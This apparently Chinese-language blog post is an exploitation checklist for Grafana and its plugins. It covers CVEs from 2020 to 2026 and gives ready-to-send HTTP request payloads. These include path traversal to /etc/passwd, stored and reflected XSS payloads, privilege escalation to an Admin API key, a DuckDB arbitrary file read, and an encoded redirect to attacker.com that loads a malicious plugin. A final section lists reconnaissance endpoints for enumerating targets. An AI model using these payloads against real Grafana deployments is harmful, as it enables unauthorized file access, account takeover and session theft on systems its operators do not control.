Grafana 漏洞利用清单
|
漏洞分析
|
4.2k 字
|
18 分钟

Grafana 是一个跨平台的开源分析和交互式可视化 Web 应用程序，通过 Web 在连接支持的数据源时提供图表、图形和告警等功能。

以下按时间顺序梳理 Grafana 及其插件的可利用漏洞，优先收录有公开 POC 或利用路径明确的高危条目。

Snipaste_2026-07-06_10-18-39

CVE-2020-11110

  • 漏洞描述： Grafana 6.7.1 版本中存在存储型 XSS，originalUrl 字段缺乏输入验证。攻击者可注入 JavaScript，当访问快照后点击 “Open Original Dashboard” 时代码执行。
  • 影响版本： 6.7.1
  • 漏洞等级： 中危
1
2
3
4
5
6
7
POST /api/snapshots HTTP/1.1
Host: <target>
Accept: application/json, text/plain, */*
Content-Type: application/json
Content-Length: 802

{"dashboard":{"annotations":{"list":[{"name":"Annotations & Alerts","enable":true,"iconColor":"rgba(0, 211, 255, 1)","type":"dashboard","builtIn":1,"hide":true}]},"editable":true,"gnetId":null,"graphTooltip":0,"id":null,"links":[],"panels":[],"schemaVersion":18,"snapshot":{"originalUrl":"javascript:alert('CVE-2020-11110')","timestamp":"2020-03-30T01:24:44.529Z"},"style":"dark","tags":[],"templating":{"list":[]},"time":{"from":null,"to":"2020-03-30T01:24:53.549Z","raw":{"from":"6h","to":"now"}},"timepicker":{"refresh_intervals":["5s","10s","30s","1m","5m","15m","30m","1h","2h","1d"],"time_options":["5m","15m","1h","6h","12h","24h","2d","7d","30d"]},"timezone":"","title":"Dashboard","uid":null,"version":0},"name":"Dashboard","expires":0}

CVE-2021-43798

  • 漏洞描述： Grafana 8.0.0-beta1 到 8.3.0 存在目录遍历漏洞，可通过 /public/plugins/<plugin_id>/ 路径读取任意本地文件。plugin_id 为任意已安装插件的 ID。这是 Grafana 最知名的漏洞之一。
  • 影响版本： 8.0.0-beta1 – 8.3.0（除已修补版本）
  • 漏洞等级： 高危
1
2
3
GET /public/plugins/alertlist/../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: <target>

Windows 目标替换为 c:/windows/win.ini。Bypass nginx/apache URI normalization：

1
2
3
GET /public/plugins/welcome/#/../../../../../../../../../etc/passwd HTTP/1.1
Host: <target>

枚举已安装插件：

1
2
3
GET /api/plugins?embedded=0 HTTP/1.1
Host: <target>

常用插件 ID：alertlist、grafana、welcome、news、text、logs、graph、table、dashboard、prometheus、elasticsearch、mysql、postgres、influxdb、loki、cloudwatch 等。

CVE-2021-41174

  • 漏洞描述： 如果攻击者能诱导受害者访问带有 AngularJS 表达式的 URL，则任意 JavaScript 可在受害者浏览器上下文中执行。利用 AngularJS 双大括号插值绑定 {{ }} 注入代码。
  • 影响版本： 8.0.0 – 8.2.2
  • 漏洞等级： 中危
1
2
3
GET /dashboard/snapshot/%7B%7Bconstructor.constructor(%27alert(document.domain)%27)()%7D%7D?orgId=1 HTTP/1.1
Host: <target>

CVE-2021-39226

  • 漏洞描述： Grafana 7.5.11 和 8.1.5 之前版本，远程未认证用户可通过 /dashboard/snapshot/:key 或 /api/snapshots/:key 查看快照；若 public_mode=true，未认证用户可通过 /api/snapshots-delete/:deleteKey 删除快照。
  • 影响版本： 7.5.11 – 8.1.5
  • 漏洞等级： 高危
1
2
3
GET /api/snapshots/<key> HTTP/1.1
Host: <target>

CVE-2021-27358

  • 漏洞描述： Grafana 6.7.3 到 7.4.1 版本中，快照功能可被未认证攻击者通过远程 API 调用触发拒绝服务。
  • 影响版本： 6.7.3 – 7.4.1
  • 漏洞等级： 高危
1
2
3
4
5
6
POST /api/snapshots HTTP/1.1
Host: <target>
Content-Type: application/json
Content-Length: 247

{"dashboard": {"editable":false,"hideControls":true,"nav":[{"enable":false,"type":"timepicker"}],"rows": [{}],"style":"dark","tags":[],"templating":{"list":[]},"time":{},"timezone":"browser","title":"Home","version":5},"expires": 3600}

CVE-2022-21673

  • 漏洞描述： Grafana 在处理 Forward OAuth Identity 数据源时，低权限用户的 API Token 可能复用已缓存的高权限用户 OAuth 身份访问数据源，导致越权数据访问。
  • 影响版本： 7.2.0 – 7.5.13 / 8.0.0 – 8.3.4
  • 漏洞等级： 中危

CVE-2022-21702

  • 漏洞描述： Grafana 数据源代理端点存在反射型 XSS，攻击者可构造恶意数据源响应注入 JavaScript。
  • 影响版本： 8.0.0 – 8.3.3 / 7.5.12
  • 漏洞等级： 中危

CVE-2022-24812

  • 漏洞描述： 拥有 Viewer 角色的用户可在创建 API Key 时指定 role 为 Admin，Grafana 未正确限制低权限用户创建的 API Key 角色，导致权限提升。
  • 影响版本： 8.0.0 – 8.4.2
  • 漏洞等级： 高危（CVSS 8.0）
1
2
3
4
5
6
7
POST /api/auth/keys HTTP/1.1
Host: <target>
Authorization: Bearer <viewer_cookie>
Content-Type: application/json
Content-Length: 29

{"name":"evil-key","role":"Admin"}

CVE-2022-29170

  • 漏洞描述： Grafana 数据源的网络访问限制（如仅允许内网地址）可被绕过，攻击者可利用数据源代理访问受限制的内部或外部地址。
  • 影响版本： 8.0.0 – 8.5.0 / 7.5.16
  • 漏洞等级： 中危（CVSS 6.6）

CVE-2022-31107

  • 漏洞描述： Grafana OAuth 登录存在账户接管漏洞。攻击者在 OAuth 提供商中创建与受害者用户名相同的账户，OAuth 登录时 Grafana 按用户名错误匹配到受害者账户，导致账户接管。
  • 影响版本： 5.3.0 – 9.0.3 / 8.5.9 / 8.4.10 / 8.3.10 之前
  • 漏洞等级： 高危（CVSS 7.1）

利用条件：目标启用 OAuth、攻击者在同一 OAuth IdP 有账户、攻击者外部 ID 和邮箱不与现有账户关联、攻击者知道目标用户名。步骤：在 OAuth 提供商中创建用户并将用户名设为受害者 Grafana 用户名，OAuth 登录后 Grafana 按用户名匹配完成接管。

CVE-2022-31130

  • 漏洞描述： Grafana 数据源代理在返回错误时，响应中可能包含 API Token 或其他敏感信息，导致 token 泄漏。
  • 影响版本： 8.0.0 – 9.0.2
  • 漏洞等级： 中危（CVSS 4.9）

CVE-2022-32275

  • 漏洞描述： Grafana 8.4.3 可通过 /dashboard/snapshot 路径读取文件。
  • 影响版本： 8.4.3
  • 漏洞等级： 高危
1
2
3
GET /dashboard/snapshot/%7B%7Bconstructor.constructor'/.. /.. /.. /.. /.. /.. /.. /.. /etc/passwd HTTP/1.1
Host: <target>

CVE-2022-32276

  • 漏洞描述： Grafana 8.4.3 通过 /dashboard/snapshot/*?orgId=0 可未认证访问快照。厂商认为是 UI 错误而非安全漏洞。
  • 影响版本： 8.4.3
  • 漏洞等级： N/A
1
2
3
GET /dashboard/snapshot/*?orgId=0 HTTP/1.1
Host: <target>

CVE-2022-35957

  • 漏洞描述： Grafana 使用 Auth Proxy 认证时，若未正确配置来源 IP 白名单，攻击者可构造 X-Grafana-User 和 X-Grafana-Role 头直接以任意用户身份登录。
  • 影响版本： 9.0.0 – 9.1.4
  • 漏洞等级： 中危（CVSS 6.6）

CVE-2022-36062

  • 漏洞描述： Grafana 在禁用 RBAC 后再启用时，权限迁移存在逻辑缺陷：原本仅 Admin 可访问的文件夹/仪表板会被错误地授予 Editor 编辑权限和 Viewer 查看权限。
  • 影响版本： 8.5.13 / 9.0.9 / 9.1.6 之前
  • 漏洞等级： 高危（CVSS 7.6）

CVE-2022-39328

  • 漏洞描述： Grafana 认证中间件存在竞态条件。高负载下 HTTP 请求的认证上下文可能被交换，使指向管理端点的请求获得空认证上下文，导致未认证用户可查询任意受保护端点。CVSS 9.8。
  • 影响版本： 9.2.0 – 9.2.3
  • 漏洞等级： 严重

攻击原理为高并发混合发送两类请求（无需认证 + 管理端点），通过竞态使管理请求误用空上下文。可用 Burp Turbo Intruder 实现，无确定性 POC。

CVE-2023-0507

  • 漏洞描述： Grafana Geomap 面板存在存储型 XSS，地图属性中的 attribution 字段未经充分清理。Editor 角色可注入 JavaScript，当 Admin 查看含恶意 Geomap 的仪表板时触发。
  • 影响版本： 8.5.21 / 9.2.13 / 9.3.8 之前
  • 漏洞等级： 高危（CVSS 7.3）

CVE-2023-0594

  • 漏洞描述： Grafana Trace View 面板存在存储型 XSS，Span 属性中的资源和标签值未充分清理。Editor 角色可通过 Tempo/Jaeger 数据源注入 JavaScript。
  • 影响版本： 8.5.21 / 9.2.13 / 9.3.8 之前
  • 漏洞等级： 高危（CVSS 7.3）

CVE-2023-1387

  • 漏洞描述： Grafana URL 登录流程中，认证 token 可能通过 Referer 头泄漏到外部站点。
  • 影响版本： 9.2.16 / 9.3.13 / 9.4.9 / 9.5.3 之前
  • 漏洞等级： 中危（CVSS 4.2）

CVE-2023-2183

  • 漏洞描述： Grafana 告警 API 存在授权绕过，低权限用户可通过特定 API 端点修改或访问不属于自己的告警规则和通知策略。
  • 影响版本： 9.3.0 – 9.4.1 / 9.2.8
  • 漏洞等级： 高危（CVSS 7.5）

CVE-2023-2801

  • 漏洞描述： Grafana 数据源代理存在竞态条件，高并发查询时请求可能与其他用户交换上下文，导致数据交叉泄漏。
  • 影响版本： 9.2.0 – 9.4.6 / 9.5.0
  • 漏洞等级： 高危（CVSS 7.5）

CVE-2023-3128

  • 漏洞描述： Grafana 使用 Azure AD OAuth 时仅基于 email 声明验证用户身份。Azure AD 中 email 字段非唯一且可修改。攻击者在自己的 Azure AD 租户创建用户并设 email 为受害者邮箱，通过多租户 Azure AD OAuth 登录 Grafana 即可接管账户。
  • 影响版本： 6.7.0 及以上，修补于 8.5.27 / 9.2.20 / 9.3.16 / 9.4.13 / 9.5.5 / 10.0.1
  • 漏洞等级： 严重（CVSS 9.4）

利用条件：Grafana 配置了多租户 Azure AD OAuth 应用且未限制用户组。检测脚本：GitHub - spyata123/CVE-2023-3128

CVE-2023-4399

  • 漏洞描述： Grafana 数据源的网络访问限制（IP 白名单/黑名单）可被绕过，攻击者通过数据源代理访问受限制的内部地址。类似 CVE-2022-29170。
  • 影响版本： 8.5.0 – 9.8.0
  • 漏洞等级： 中危（CVSS 6.6）

CVE-2023-4822

  • 漏洞描述： Grafana 组织管理功能存在权限提升，低权限用户可通过 API 访问不属于自己权限范围内的组织信息。
  • 影响版本： 8.5.0 – 9.8.5
  • 漏洞等级： 中危（CVSS 6.7）

CVE-2023-5122

  • 漏洞描述： Grafana CSV 数据源插件存在 SSRF，攻击者可通过 CSV 数据源的 URL 参数访问内部服务或云元数据端点。
  • 影响版本： grafana-csv-datasource-plugin 0.x
  • 漏洞等级： 中危（CVSS 5.0）

CVE-2023-5123

  • 漏洞描述： Grafana JSON 数据源插件存在路径穿越。攻击者可通过 JSON 数据源配置中的路径参数读取服务器上的任意文件。
  • 影响版本： grafana-json-datasource-plugin 1.x
  • 漏洞等级： 高危（CVSS 8.0）

CVE-2024-1313

  • 漏洞描述： Grafana 快照 API 存在授权绕过，低权限用户可删除不属于自己的快照。
  • 影响版本： 8.5.0 – 9.8.0
  • 漏洞等级： 中危（CVSS 6.5）

CVE-2024-1442

  • 漏洞描述： 拥有创建数据源权限的用户可通过 API 创建一个 UID 为 * 的数据源，从而获得读取、查询、编辑和删除组织内所有数据源的能力。
  • 影响版本： 8.5.0 – 10.0.0
  • 漏洞等级： 高危
1
2
3
4
5
6
7
POST /api/datasources HTTP/1.1
Host: <target>
Authorization: Bearer <editor_token>
Content-Type: application/json
Content-Length: 119

{"name":"all-ds","type":"prometheus","url":"http://localhost:9090","access":"proxy","uid":"*"}

CVE-2024-9264

  • 漏洞描述： Grafana SQL Expressions 实验功能中的 DuckDB 集成存在命令注入和任意文件读取。已认证用户（Viewer 及以上）可通过 /api/ds/query 端点利用 DuckDB 的 read_blob() 读取任意文件；Grafana 11.0.0 中还可通过 DuckDB shell 功能实现 RCE。前提是 DuckDB 二进制在 $PATH 中。GitHub 有多个独立 POC 仓库。
  • 影响版本： 11.0.0 – 11.0.4 / 11.1.0 – 11.1.5 / 11.2.0
  • 漏洞等级： 严重（CVSS 9.9）
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /api/ds/query?ds_type=__expr__&expression=true&requestId=Q101 HTTP/1.1
Host: <target>
Authorization: Bearer <any_user_token>
Content-Type: application/json
Content-Length: 250

{
  "queries": [{
    "refId": "B",
    "datasource": {"type": "__expr__", "uid": "__expr__"},
    "type": "sql",
    "expression": "SELECT content FROM read_blob('/etc/passwd')",
    "window": ""
  }],
  "from": "1729313027261",
  "to": "1729334627261"
}

官方修补方式为直接移除整个 SQL Expressions 功能。

CVE-2025-2703

  • 漏洞描述： Grafana XY Chart 插件存在 XSS，攻击者可通过仪表板变量注入恶意脚本。
  • 影响版本： 8.5.0 – 10.4.8
  • 漏洞等级： 中危（CVSS 6.8）

CVE-2025-3260

  • 漏洞描述： Grafana Dashboard API（/apis/dashboard.grafana.app/*）存在授权绕过。已认证用户（包括匿名会话）可完全绕过仪表板和文件夹的权限控制。Viewer 可查看所有仪表板，Editor 可编辑和删除。
  • 影响版本： 11.6.0 – 11.6.1
  • 漏洞等级： 高危（CVSS 8.3）
1
2
3
4
GET /apis/dashboard.grafana.app/v1alpha1/dashboards HTTP/1.1
Host: <target>
Authorization: Bearer <viewer_token>

CVE-2025-3454

  • 漏洞描述： Grafana 数据源代理存在授权绕过，用户可通过代理接口访问本无权使用的数据源。
  • 影响版本： 8.5.0 – 11.1.0
  • 漏洞等级： 中危（CVSS 5.0）

CVE-2025-4123（Grafana Ghost）

  • 漏洞描述： Grafana 前端插件加载机制组合漏洞：Open Redirect（/public/redirect 路径未验证）→ 攻击者托管恶意插件 → Grafana 自动加载执行 XSS → 窃取会话/SSRF 内网。HackerOne 公开报告，披露时约 36% 公网 Grafana 实例受影响。
  • 影响版本： 8.x – 12.x（安全补丁前）
  • 漏洞等级： 高危（CVSS 7.6）

利用条件：目标启用匿名访问 + 可出网。

1
2
3
GET /render/public/..%252f%255Cattacker.com%252f%253F%252f..%252f.. HTTP/1.1
Host: <target>

攻击者在控制域名托管恶意 grafana 插件（plugin.json + malicious.js），受害者点击上述 URL 后 Grafana 加载并执行恶意脚本。若 Image Renderer 插件已安装，还可通过仪表板图片 URL 指向内网实现 SSRF。

CVE-2025-6023

  • 漏洞描述： Grafana 脚本化仪表板（Scripted Dashboards）存在 XSS，攻击者可通过恶意脚本仪表板注入 JavaScript 窃取会话。
  • 影响版本： 8.5.0 – 11.4.0
  • 漏洞等级： 高危（CVSS 7.6）

CVE-2025-8341

  • 漏洞描述： Grafana Infinity 数据源插件存在 SSRF，攻击者可通过该插件访问内部服务或云元数据。
  • 影响版本： grafana-infinity-datasource-plugin
  • 漏洞等级： 中危（CVSS 6.1）

CVE-2025-11539

  • 漏洞描述： Grafana Image Renderer 插件的 /render/csv 端点对 filePath 参数缺乏验证，攻击者可写入 .so 共享对象文件至任意路径，随后被 Chromium 进程加载导致远程代码执行。需已知或猜解 authToken。
  • 影响版本： Image Renderer 1.0.0 – 4.0.16
  • 漏洞等级： 严重（CVSS 9.9）

CVE-2026-21721

  • 漏洞描述： Grafana 仪表板权限管理存在跨仪表板权限提升。攻击者可通过操作权限管理 API 获得无权访问的仪表板控制权。
  • 影响版本： 2026-01-27 安全补丁前
  • 漏洞等级： 高危（CVSS 8.1）

CVE-2026-27876

  • 漏洞描述： Grafana sqlExpressions 功能再次出现 RCE，与 CVE-2024-9264 类似但攻击路径不同。
  • 影响版本： 2026-03-30 安全补丁前
  • 漏洞等级： 严重（CVSS 9.1）

CVE-2026-33376

  • 漏洞描述： Grafana Auth Proxy 的 IP 白名单机制在 IPv6 地址处理上存在绕过，攻击者利用 IPv6 地址绕过来源 IP 验证，直接注入认证头以任意用户身份登录。
  • 影响版本： 2026-05-13 安全补丁前
  • 漏洞等级： 高危（CVSS 7.4）

CVE-2026-33377

  • 漏洞描述： Grafana 仪表板导入功能可覆盖目标仪表板的 ACL。Editor 角色通过导入仪表板时指定目标 UID 并设置 overwrite: true，可覆盖 Admin 创建的仪表板权限，获得 Dashboard Admin 角色。
  • 影响版本： 2026-05-13 安全补丁前
  • 漏洞等级： 高危（CVSS 7.1）

Grafana 通用信息收集

1
2
3
GET /api/frontend/settings HTTP/1.1
Host: <target>

返回 Grafana 版本、前端配置等信息。

1
2
3
4
GET /api/user HTTP/1.1
Host: <target>
Authorization: Bearer <token>

1
2
3
4
GET /api/datasources HTTP/1.1
Host: <target>
Authorization: Bearer <token>

1
2
3
GET /api/plugins?embedded=0 HTTP/1.1
Host: <target>

返回已安装插件列表及 ID，用于路径穿越攻击的插件枚举。

1
2
3
GET /metrics HTTP/1.1
Host: <target>

Grafana 内部 Metrics 端点，可能暴露监控数据和内部地址。

1
2
3
4
GET /api/search?limit=5000 HTTP/1.1
Host: <target>
Authorization: Bearer <token>

列举所有可访问的仪表板。

1
2
3
GET /api/search HTTP/1.1
Host: <target>

检查是否开启匿名访问。

1
2
3
GET /api/dashboard/snapshots HTTP/1.1
Host: <target>

搜索公开快照。

上一篇
下一篇